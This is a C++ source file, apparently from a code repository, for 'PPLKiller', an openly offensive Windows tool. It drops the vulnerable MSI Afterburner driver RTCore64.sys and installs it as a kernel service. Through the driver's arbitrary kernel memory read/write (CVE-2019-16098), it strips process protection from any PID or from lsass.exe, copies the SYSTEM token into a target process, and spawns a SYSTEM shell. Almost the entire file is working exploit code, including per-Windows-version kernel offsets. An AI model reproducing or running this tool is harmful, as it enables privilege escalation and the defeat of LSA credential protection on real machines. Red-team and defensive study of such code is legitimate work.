Files
2021-12-14 16:53:07 +10:00

611 lines
22 KiB
C++

// CODE FROM
// https://github.com/Barakat/CVE-2019-16098
// https://github.com/gentilkiwi/mimikatz
// https://github.com/TarlogicSecurity/EoPLoadDriver/
#include <Windows.h>
#include <aclapi.h>
#include <tlhelp32.h>
#include <Psapi.h>
#include <cstdio>
#include <Shlobj.h>
#include <Shlobj_core.h>
#include <string_view>
#include "resource.h"
#include "loaddriver.h"
#define AUTHOR L"@aceb0nd"
#define VERSION L"0.3"
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
#endif
// Micro-Star MSI Afterburner driver arbitrary read and write primitive
// These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address);
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
// END driver comms code
// START Mimikatz driver install/uninstall code
BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryOne = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {
if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryOne.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
BOOL status = FALSE;
SC_HANDLE hSC = NULL, hS = NULL;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {
if (hS = OpenService(hSC, serviceName, SERVICE_START)) {
wprintf(L"[+] \'%s\' service already registered\n", serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
wprintf(L"[*] \'%s\' service not present\n", serviceName);
if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {
wprintf(L"[+] \'%s\' service successfully registered\n", serviceName);
if (status = kull_m_service_addWorldToSD(hS))
wprintf(L"[+] \'%s\' service ACL to everyone\n", serviceName);
else printf("kull_m_service_addWorldToSD");
}
else PRINT_ERROR_AUTO(L"CreateService");
}
else PRINT_ERROR_AUTO(L"OpenService");
}
if (hS) {
if (startIt) {
if (status = StartService(hS, 0, NULL))
wprintf(L"[+] \'%s\' service started\n", serviceName);
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
wprintf(L"[*] \'%s\' service already started\n", serviceName);
else {
PRINT_ERROR_AUTO(L"StartService");
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(L"OpenSCManager(create)");
return GetLastError();
}
return 0;
}
BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL service_uninstall(PCWSTR serviceName) {
if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
wprintf(L"[+] \'%s\' service stopped\n", serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
wprintf(L"[*] \'%s\' service not running\n", serviceName);
}
else {
PRINT_ERROR_AUTO(L"kull_m_service_stop");
return FALSE;
}
if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {
if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {
BOOL status = DeleteService(hS);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return TRUE;
}
// END Mimikatz code
void Log(const char* Message, ...) {
const auto file = stderr;
va_list Args;
va_start(Args, Message);
std::vfprintf(file, Message, Args);
std::fputc('\n', file);
va_end(Args);
}
unsigned long long getKernelBaseAddr() {
DWORD out = 0;
DWORD nb = 0;
PVOID* base = NULL;
if (EnumDeviceDrivers(NULL, 0, &nb)) {
base = (PVOID*)malloc(nb);
if (EnumDeviceDrivers(base, nb, &out)) {
return (unsigned long long)base[0];
}
}
return NULL;
}
int processPIDByName(const WCHAR* name) {
int pid = 0;
// Create a snapshot of currently running processes
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Some error handling in case we failed to get a snapshot of running processes
if (snap == INVALID_HANDLE_VALUE) {
PRINT_ERROR_AUTO(L"processPIDByName");
return 0;
}
// Declare a PROCESSENTRY32 class
PROCESSENTRY32 pe32;
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process and exit if unsuccessful
if (!Process32First(snap, &pe32)) {
PRINT_ERROR_AUTO(L"processPIDByName");
CloseHandle(snap); // clean the snapshot object
}
do {
if (wcscmp(pe32.szExeFile, name) == 0) {
pid = pe32.th32ProcessID;
}
} while (Process32Next(snap, &pe32));
// Clean the snapshot object to prevent resource leakage
CloseHandle(snap);
return pid;
}
struct Offsets {
DWORD64 UniqueProcessIdOffset;
DWORD64 ActiveProcessLinksOffset;
DWORD64 TokenOffset;
DWORD64 SignatureLevelOffset;
};
void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
return;
}
Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
// Find our process in active process list
const DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do {
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == TargetProcessId) {
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
// Patches 5 values — SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
// Cleanup
CloseHandle(Device);
}
void makeSYSTEM(DWORD targetPID, Offsets offsets) {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Log("[!] Unable to obtain a handle to the device object");
return;
}
Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
// Get token value of System process
const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15;
Log("[*] System process token: %p", SystemProcessToken);
// Find our process in active process list
const DWORD64 CurrentProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do {
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == CurrentProcessId) {
break;
}
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
} while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
// Reading current process token
const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset);
const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;
const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;
Log("[*] Current process token: %p", CurrentProcessToken);
// Stealing System process token
Log("[*] Stealing System process token ...");
WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);
// Cleanup
CloseHandle(Device);
}
void spawnCmd(void) {
Log("[*] Spawning new shell ...");
STARTUPINFOW StartupInfo{};
StartupInfo.cb = sizeof(StartupInfo);
PROCESS_INFORMATION ProcessInformation;
CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",
nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
&StartupInfo,
&ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
struct Offsets getVersionOffsets() {
wchar_t value[255] = { 0x00 };
DWORD BufferSize = 255;
RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
wprintf(L"[+] Windows Version %s Found\n", value);
auto winVer = _wtoi(value);
switch (winVer) {
case 1607:
return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
case 1803:
case 1809:
return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
case 1903:
case 1909:
return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
case 2004:
case 2009:
return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
default:
wprintf(L"[!] Version Offsets Not Found!\n");
// Previously this returned an empty struct, which could (would?) cause the OS to crash and burn. Hopefully just an exit is ok.
exit(-1);
}
}
int fileExists(TCHAR* file)
{
WIN32_FIND_DATA FindFileData;
HANDLE handle = FindFirstFile(file, &FindFileData);
int found = handle != INVALID_HANDLE_VALUE;
if (found)
{
//FindClose(&handle); this will crash
FindClose(handle);
}
return found;
}
WCHAR* GetUserLocalTempPath() {
//static constexpr std::wstring_view temp_label = L"\\Temp\\";
HWND folder_handle = { 0 };
WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);
if (temp_path == NULL) {
return NULL;
}
auto get_folder = SHGetFolderPath(folder_handle, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, temp_path);
if (get_folder == S_OK) {
// const wchar_t driverName[] = L"\\RTCore64.sys";
wcscat_s(temp_path, MAX_PATH, L"\\Temp\\RTCore64.sys");
//input_parameter = static_cast<const wchar_t*>(temp_path);
//input_parameter.append(temp_label);
CloseHandle(folder_handle);
return temp_path;
}
return NULL;
}
BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {
// Check the pointers to which we want to write
if (ppRes && pdwResSize) {
HRSRC hRsrc;
// Find the resource ResName of type ResType in the DLL/EXE described by Instance
if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {
HGLOBAL hGlob;
// Make sure it's in memory ...
if (hGlob = LoadResource(Instance, hRsrc)) {
// Now lock it to get a pointer
*ppRes = LockResource(hGlob);
// Also retrieve the size of the resource
*pdwResSize = SizeofResource(Instance, hRsrc);
// Return TRUE only if both succeeded
return (*ppRes && *pdwResSize);
}
}
}
// Failure means don't use the values in *ppRes and *pdwResSize
return FALSE;
}
WCHAR* dropDriver() {
//get driver
LPVOID RTCoreDriver;
DWORD driverSize;
if (GetResourcePointer(NULL, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {
wprintf(L"GetResourcePointer failed\n");
return FALSE;
}
auto tempPath = GetUserLocalTempPath();
if (fileExists(tempPath)) {
return tempPath;
}
HANDLE hFile = CreateFile(tempPath, // name of the write
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
CREATE_NEW, // create new file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"Unable to open file \"%s\" for write.\n", tempPath);
return NULL;
}
BOOL bErrorFlag = FALSE;
DWORD dwBytesWritten = 0;
bErrorFlag = WriteFile(
hFile, // open file handle
RTCoreDriver, // start of data to write
driverSize, // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL); // no overlapped structure
if (FALSE == bErrorFlag)
{
wprintf(L"Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != driverSize)
{
// This is an error because a synchronous write that results in
// success (WriteFile returns TRUE) should write all data as
// requested. This would not necessarily be the case for
// asynchronous writes.
wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);
}
}
CloseHandle(hFile);
return tempPath;
}
int wmain(int argc, wchar_t* argv[]) {
wprintf(L"PPLKiller version %ws by %ws\n", VERSION, AUTHOR);
if (argc < 2) {
wprintf(L"Usage: %s\n"
" [/disablePPL <PID>]\n"
" [/disableLSAProtection]\n"
" [/makeSYSTEM <PID>]\n"
" [/makeSYSTEMcmd]\n"
" [/installDriver]\n"
" [/uninstallDriver]", argv[0]);
return 0;
}
const auto svcName = L"RTCore64";
if (wcscmp(argv[1] + 1, L"disablePPL") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
auto PID = _wtoi(argv[2]);
disableProtectedProcesses(PID, offsets);
}
else if (wcscmp(argv[1] + 1, L"disableLSAProtection") == 0) {
Offsets offsets = getVersionOffsets();
auto lsassPID = processPIDByName(L"lsass.exe");
disableProtectedProcesses(lsassPID, offsets);
}
else if (wcscmp(argv[1] + 1, L"makeSYSTEM") == 0 && argc == 3) {
Offsets offsets = getVersionOffsets();
auto PID = _wtoi(argv[2]);
makeSYSTEM(PID, offsets);
}
else if (wcscmp(argv[1] + 1, L"makeSYSTEMcmd") == 0) {
Offsets offsets = getVersionOffsets();
makeSYSTEM(GetCurrentProcessId(), offsets);
spawnCmd();
}
else if (wcscmp(argv[1] + 1, L"installDriver") == 0) {
WCHAR* driverPath = dropDriver();
const auto svcDesc = L"Micro-Star MSI Afterburner";
if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {
wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
}
}
else if (wcscmp(argv[1] + 1, L"installDriverSeDebugOnly") == 0) {
WCHAR* driverPath = dropDriver();
wchar_t key[] = L"System\\CurrentControlSet\\RTCore64";
fullsend(key, driverPath);
}
else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {
service_uninstall(svcName);
auto tempPath = GetUserLocalTempPath();
if (DeleteFile(tempPath) != 0) {
wprintf(L"Deleted %s\n", tempPath);
}
}
else {
wprintf(L"Error: Check the help\n");
}
return 0;
}